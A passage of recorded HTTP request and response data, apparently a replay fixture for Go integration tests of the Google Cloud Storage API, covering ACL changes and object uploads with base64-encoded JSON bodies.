2019 22:24:25 GMT" - ], - "Etag": [ - "COr+pcXx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UosP78wuW4e1mPLJgcCbCxBC4Je5LWjKugd0fVK51u-P3qeXbQXj4_Amo25ZHyut2LZvoipvmK95xEvebSyVyzVydKyU2VSbHLDkwnRpR-nr9UGIf0" - ] - }, - "Body": "" - } - }, - { - "ID": "1c7595376917851f", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:26 GMT" - ], - "Etag": [ - "CAg=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqnZXiLrdCFoctnkKUqdvXLdSp9xumFk20gsRJc4xB1CTZ14aLZYwbDJmi90E28Q2_E4klaJBOaB1OCcpbDBoF1N9E9Bk3VEaNYYrHKMoECuO7RMPs" - ] - }, - "Body": "" - } - }, - { - "ID": "4183198b151a3557", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/acl/user-jbd%40google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "109" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJ1c2VyLWpiZEBnb29nbGUuY29tIiwicm9sZSI6IlJFQURFUiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "386" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:27 GMT" - ], - "Etag": [ - "CAk=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo361-YkcyyOvd5CL4q3LgTM1Bk4RdkPY3cn-qOm6Dn0vghTnmIE9VKkzGiOnjRNnD7SWXGMqpxaCGvCt6P44D55PqOwAtVTF8PNwmEK9HWCoVXABo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvdXNlci1qYmRAZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvdXNlci1qYmRAZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InVzZXItamJkQGdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZW1haWwiOiJqYmRAZ29vZ2xlLmNvbSIsImV0YWciOiJDQWs9In0=" - } - }, - { - "ID": "e98f53a71d8839c9", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "1789" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:28 GMT" - ], - "Etag": [ - "CAk=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:28 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrqACfvLjoBUrCN_6ksyMdPlv7yPWQGo1D9u1UiCCgFDRlEwr6NOp18BSxaeTuMIabf2ciNj7_Ba1W6YCz64HlcYyQOoEXNfGYGKcAqGTubXsGHPVk" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FrPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQWs9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQWs9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvdXNlci1qYmRAZ29vZ2xlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9hY2wvdXNlci1qYmRAZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImVudGl0eSI6InVzZXItamJkQGdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZW1haWwiOiJqYmRAZ29vZ2xlLmNvbSIsImV0YWciOiJDQWs9In1dfQ==" - } - }, - { - "ID": "28b9a29086758e65", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/acl/user-jbd%40google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:28 GMT" - ], - "Etag": [ - "CAo=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UozsFdtI43Ltv91E18-CrdRZ4pQDVZXReJOVhpWDu3mxNA7rrWU7hNGl4kPMd0FgcVWDigZA5JBNsYbFV113Ew6Cp2uTsuk0uI1io_mhA6-Lmd2h18" - ] - }, - "Body": "" - } - }, - { - "ID": "8ef9f7b6caefd750", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoiZ29waGVyIn0K", - "ZGF0YQ==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3196" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:29 GMT" - ], - "Etag": [ - "CIXH3cfx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo97hrh9l4pmrJQqaH8Qu3axsdbEPH2Y8GSEso8-ExKuf4ot8o2uS79ROJcgCtql4vLQJ_4L8q0Z7E9E2WYbbl6vKUYKdQiCI0POisS9o_ViNh9-Yk" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9nb3BoZXIvMTU1NjgzNTg2OTM1MjgzNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2dvcGhlciIsIm5hbWUiOiJnb3BoZXIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2OTM1MjgzNyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyOS4zNTJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjkuMzUyWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjI5LjM1MloiLCJzaXplIjoiNCIsIm1kNUhhc2giOiJqWGQvT0YwOS9zaUJYU0QzU1dBbTNBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vZ29waGVyP2dlbmVyYXRpb249MTU1NjgzNTg2OTM1MjgzNyZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9nb3BoZXIvMTU1NjgzNTg2OTM1MjgzNy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9nb3BoZXIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImdvcGhlciIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY5MzUyODM3IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNJWEgzY2Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9nb3BoZXIvMTU1NjgzNTg2OTM1MjgzNy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vZ29waGVyL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiZ29waGVyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjkzNTI4MzciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSVhIM2NmeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvZ29waGVyLzE1NTY4MzU4NjkzNTI4MzcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2dvcGhlci9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImdvcGhlciIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY5MzUyODM3IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNJWEgzY2Z4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9nb3BoZXIvMTU1NjgzNTg2OTM1MjgzNy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vZ29waGVyL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiZ29waGVyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NjkzNTI4MzciLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSVhIM2NmeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6InJ0aDkwUT09IiwiZXRhZyI6IkNJWEgzY2Z4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "ae3a5920bc8a9c3c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoi0JPQvtGE0LXRgNC+0LLQuCJ9Cg==", - "ZGF0YQ==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3548" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:29 GMT" - ], - "Etag": [ - "CPzK+8fx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrPLZGQqU8j04JqxMmfsqas3HGTlrdx5NM99YR5nCedJYGMSaZ1ynvd2UbUcdwps_gfRo__0XapzHuD3hM_bshff65qlnw_i2cOwp97N2EhfUsZ1X4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS/Qk9C+0YTQtdGA0L7QstC4LzE1NTY4MzU4Njk4NDQ4NjAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby8lRDAlOTMlRDAlQkUlRDElODQlRDAlQjUlRDElODAlRDAlQkUlRDAlQjIlRDAlQjgiLCJuYW1lIjoi0JPQvtGE0LXRgNC+0LLQuCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODY5ODQ0ODYwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJ0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjI5Ljg0NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoyOS44NDRaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MjkuODQ0WiIsInNpemUiOiI0IiwibWQ1SGFzaCI6ImpYZC9PRjA5L3NpQlhTRDNTV0FtM0E9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby8lRDAlOTMlRDAlQkUlRDElODQlRDAlQjUlRDElODAlRDAlQkUlRDAlQjIlRDAlQjg/Z2VuZXJhdGlvbj0xNTU2ODM1ODY5ODQ0ODYwJmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL9CT0L7RhNC10YDQvtCy0LgvMTU1NjgzNTg2OTg0NDg2MC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby8lRDAlOTMlRDAlQkUlRDElODQlRDAlQjUlRDElODAlRDAlQkUlRDAlQjIlRDAlQjgvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ItCT0L7RhNC10YDQvtCy0LgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg2OTg0NDg2MCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUHpLKzhmeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEv0JPQvtGE0LXRgNC+0LLQuC8xNTU2ODM1ODY5ODQ0ODYwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby8lRDAlOTMlRDAlQkUlRDElODQlRDAlQjUlRDElODAlRDAlQkUlRDAlQjIlRDAlQjgvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiLQk9C+0YTQtdGA0L7QstC4IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4Njk4NDQ4NjAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiw